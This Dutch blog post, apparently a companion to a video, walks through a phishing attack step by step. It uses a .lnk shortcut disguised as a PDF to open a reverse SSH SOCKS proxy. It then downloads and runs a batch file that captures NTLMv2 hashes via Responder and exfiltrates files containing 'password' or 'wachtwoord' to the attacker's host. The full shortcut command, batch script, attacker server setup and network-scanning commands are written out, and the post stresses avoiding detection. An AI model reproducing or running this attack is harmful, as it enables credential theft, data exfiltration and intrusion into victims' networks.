Phishing – Undetected – Setup SOCKS reverse proxy and get password files and NTLMv2 Hash

In bovenstaande Hacking Quicktip toon ik een tip om op een non-malicious en dus undetectable manier toch ontzettend veel informatie en enumeratie mogelijkheden te krijgen op een “victim” machine. We gebruiken bij deze methode default Windows tooling op een non-malicious wijze waardoor detectie relatief laag is. Deze post dient als een resource voor deze video. Dus de gebruikte code en het stappenplan staat hier nogmaals beschreven. Voor meer duiding en uitleg kijk dus eerst even de video!

Stappenplan

#1 Maak de snelkoppeling (*.lnk) (genaamd offerte.pdf). Het volgende SSH commando plaatsen we hierin als target:

C:WindowsSystem32OpenSSHssh.exe -f -R 0 -o "PermitLocalCommand=yes" -o "LocalCommand=scp -P 443 
john@192.168.10.150:/tmp/command.bat %userprofile%. && start /MIN %userprofile%command.bat" 
-o "StrictHostKeyChecking=no" -q -p 443 john@192.168.10.150 -NT

De globale van de argumenten is als volgt:

-f = background
-R 0 = Reverse proxy. Met de 0 specificeren we geen specifieke poort welke ook niet vereist is voor een “Reverse Dynamic SOCKS5 Proxy”. Op deze manier kunnen meerdere “victims” tegelijkertijd connecten met de aanvaller.
“PermitLocalCommand=yes” = De mogelijkheid om lokale commando’s (SCP) uit te voeren.
LocalCommand=scp -P 443 john@192.168.10.150:/command.bat %userprofile%. && start %userprofile%command.bat = Het lokale SCP commando om command.bat te downloaden en draaien.
StrictHostKeyChecking=no : SSH vraagt nu niet aan het slachtoffer “Are you sure you want to continue connecting”
-p 443 : De poort waar onze SSH server op draait. Deze hebben we dus veranderd naar 443 om firewall resticties te bypassen.
-q = Onderdruk de meeste waarschuwingen en diagnostische meldingen.
-NT: Draait SSH op de achtergrond alleen voor de connectie. Het “victim” kan op deze manier geen commando’s pushen naar de machine van de aanvaller.

Als de snelkoppeling is gemaakt verander dan het icoontje naar een PDF icoontje (mits dit icoontje op de computer van het slachtoffer aanwezig is. Zo niet, gebruik dan een default Windows icoontje).

2. Nu maken we een malicious BAT file welke we gaan hosten in de /etc folder van de “attacking machine”. Dit BAT bestand download een andere PDF en opent deze (de legitieme PDF). Vervolgens zorgt het BAT file ervoor dat er een SMB connectie naar de machine van de aanvaller gemaakt wordt zodat we met Responder de NTLMv2 hash kunnen onderscheppen. Ook zorgt de BAT file ervoor dat we file exfiltration kunnen uitvoeren van files welke matchen aan onze zoekopdracht:

@echo off
REM Set the non-existing SSH key path and other variables (to retrieve NTLMv2 hash)
set SSH_KEY=\192.168.10.150key.pem
set REMOTE_USER=john
set REMOTE_HOST=192.168.10.150
set REMOTE_PORT=443
set LOCAL_DIR=%userprofile%
:: Create a directory variable for the destination on the remote machine
set "remoteDir=/tmp/loot"
REM Execute initial commands to transfer files
scp -q -o StrictHostKeyChecking=no -P %REMOTE_PORT% -i %SSH_KEY% %REMOTE_USER%@%REMOTE_HOST%:/tmp/offerte-bijlage.pdf %LOCAL_DIR% > nul 2>nul
cd %LOCAL_DIR%
echo "Opening PDF..."
start "" "%LOCAL_DIR%offerte-bijlage.pdf"
:: Find files containing specific keywords and loop through each file
for /f "delims=" %%i in ('dir /S /B *.* ^| findstr /M /I "password"') do (
    scp -q -o StrictHostKeyChecking=no -P %REMOTE_PORT% "%%i" %REMOTE_USER%@%REMOTE_HOST%:%remoteDir%/%%~nxi > nul 2>nul
)
for /f "delims=" %%i in ('dir /S /B *.* ^| findstr /M /I "wachtwoord"') do (
    scp -q -o StrictHostKeyChecking=no -P %REMOTE_PORT% "%%i" %REMOTE_USER%@%REMOTE_HOST%:%remoteDir%/%%~nxi > nul 2>nul
)
exit

3. Installeer en start SSH op de machine van de aanvaller:

sudo apt install openssh-server
sudo systemctl start ssh
sudo systemctl status ssh

4. Maak nu een password-less SSH user aan:

sudo useradd -m john
sudo passwd john
sudo chsh -s /usr/bin/zsh john
sudo passwd -d 'john'
su john
ssh-keygen

Daarna maken we de volgende aanpassingen in de SSH config file: /etc/ssh/sshd_config:

Port 443
PermitEmptyPasswords yes

Match User john
    PermitOpen none
    AllowTcpForwarding yes
    GatewayPorts yes

5. Plaats een legitieme PDF file in /tmp genaamd: offerte-bijlage.pdf

wget https://jarnobaselier.nl/files/pdf/encryptietabel.pdf -o offerte-bijlage.pdf

6. Start responder

sudo responder -I eth0 -v

7. Maak de loot folder in /tmp van de Kali machine en zorg ervoor dat de SSH user hier rechten toe heeft:

mkdir /tmp/loot
chmod 777 -R /tmp/loot

8. Voer de aanval uit (activeer het .lnk bestand aan de kant van het slachtoffer).

9. Kijk op welke poorten SSH connected is:

sudo netstat -tulpn | grep ssh

10. Nu kunnen we de connectie gebruiken als SOCKS5 proxy. Hiervoor passen we het Proxychains config bestand aan (/etc/proxychains4.conf):

sudo nano /etc/proxychains4.conf 
socks5 127.0.0.1 45587

11. Nu kunnen we de reverse proxy gebruiken om het netwerk en andere hosts op het netwerk te enumereren. Bijvoorbeeld:

#Host discovery:
sudo proxychains nmap -PE -sn -n 192.168.10.1-255

#Portscan:
sudo proxychains nmap -Pn -T5 192.168.10.10

Like this content?

If you found this article interesting or useful, consider supporting my work by buying me a coffee. It helps me continue creating valuable security content!

Buy me a coffee